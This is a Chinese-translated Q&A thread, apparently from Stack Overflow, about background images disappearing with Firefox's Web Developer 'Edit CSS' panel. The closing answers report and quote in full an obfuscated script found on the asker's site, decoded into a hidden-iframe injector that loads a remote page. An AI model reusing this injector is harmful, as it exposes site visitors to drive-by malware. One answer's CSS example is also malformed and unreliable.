使用firefox webdeveloper工具栏编辑CSS时，为什么工具栏打开时有些图像会消失？

发布于 2024-09-10 22:11:07 字数 685 浏览 1 评论 0原文

我编辑和构建 HTML 文档样式表的典型工作流程是打开 Firefox Web 开发人员工具栏的“编辑 CSS”面板，然后直接在浏览器窗口中进行编辑。

大多数时候，这就像一种魅力。然而，有时，当我打开“编辑 CSS”面板时，某些图像会消失，但我不知道为什么。更奇怪的是，有时我在工具栏打开时添加的图像在工具栏关闭时不可见。（我主要讨论的是使用 CSS 背景图像规则添加的图像）。

以下是一些示例...

http://kenbrook.org - 如果打开“编辑 CSS”面板，正文背景图像连同几个 div 背景一起消失。事实上，我认为几乎所有的 CSS 背景图像都消失了。我没有编写此站点上的标记和大部分样式，但我负责编辑和完成它们。那么知道为什么会发生这种情况吗？

http://joelglovier.com - 还要检查我刚刚自己构建并为其编写样式的这个（目前页面上只有几个元素）。在标题 div 中，我有一个空 div，要在其中放入图像。当“编辑 CSS”打开时，图像会按预期显示。然而，当它关闭时，图像看不到，尽管使用 firebug 我可以看到样式肯定被应用，并且 div 位于它应该在的位置。

有什么解释吗？？

原文

分享到QQ

分享到微博

如果你对这篇内容有疑问，欢迎到本站社区发帖提问参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。

发布评论

需要登录才能够评论，你可以免费注册一个本站的账号。

青朷 2024-09-17 22:11:07

当 CSS 文件和图像文件与 HTML 不在同一目录中时，我遇到过此问题。例如，我有这样的目录结构：

index.html
image/background.jpg
css/index.css

我的 CSS 中有这样的：

body { background-image:image/index.html; }

当 Web Developer 的 CSS 编辑器打开时，它就可以工作。当我关闭它时，它没有。

事实证明，图像的路径是相对于 CSS 文件的，而不是相对于 HTML 文件的。当 CSS 编辑器打开时，它正确地找出了路径。当它关闭时，Firefox 找不到该图像。

我想如果你想使用编辑器并将文件放在不同的目录中，CSS 中的路径应该是绝对的。

I have seen this issue when the CSS file and the image file are not in the same directory as the HTML. For example I had this directory structure:

index.html
image/background.jpg
css/index.css

I had this in my CSS:

body { background-image:image/index.html; }

When Web Developer's CSS editor was open, it worked. When I closed it, it didn't.

Turns out the answer is that the path to the image is relative to the CSS file, not to the HTML file. When the CSS editor was opened, it correctly figured out the path. When it was closed, Firefox couldn't find the image.

I imagine the path in the CSS should be absolute if you want to use the editor and have files in different directories.

回复收藏 0 原文

最舍不得你 2024-09-17 22:11:07

不过，如果您查看 Web 开发人员工具栏主页，我会发现：
“问题”下的“‘编辑 CSS’不适用于相对于 CSS 链接的背景图像”。因此，插件目前无法处理相对链接的图像。尝试让插件的创建者修复它......我也讨厌这个问题......

回复收藏 0 原文

戏蝶舞 2024-09-17 22:11:07

好吧，我无法复制您的问题，当我打开编辑 CSS 面板时，页面保持不变，但我的病毒扫描程序警告我您的脚本之一 (/assets/js/slides.js) 存在隐藏的特洛伊木马。里面有Script.Iframer...

也许你可以试试firebug，它还有一个强大的css在线编辑器。

回复收藏 0 原文

还在原地等你 2024-09-17 22:11:07

这段代码的目的是什么（来自 http://kenbrook.org/assets/js /slides.js）

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

未混淆的它将其写入文档

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

您知道它的存在吗？

What is the purpose of this bit of code (From http://kenbrook.org/assets/js/slides.js)

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

Unobfuscated it writes this to the document

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

Are you aware of its presence?

回复收藏 0 原文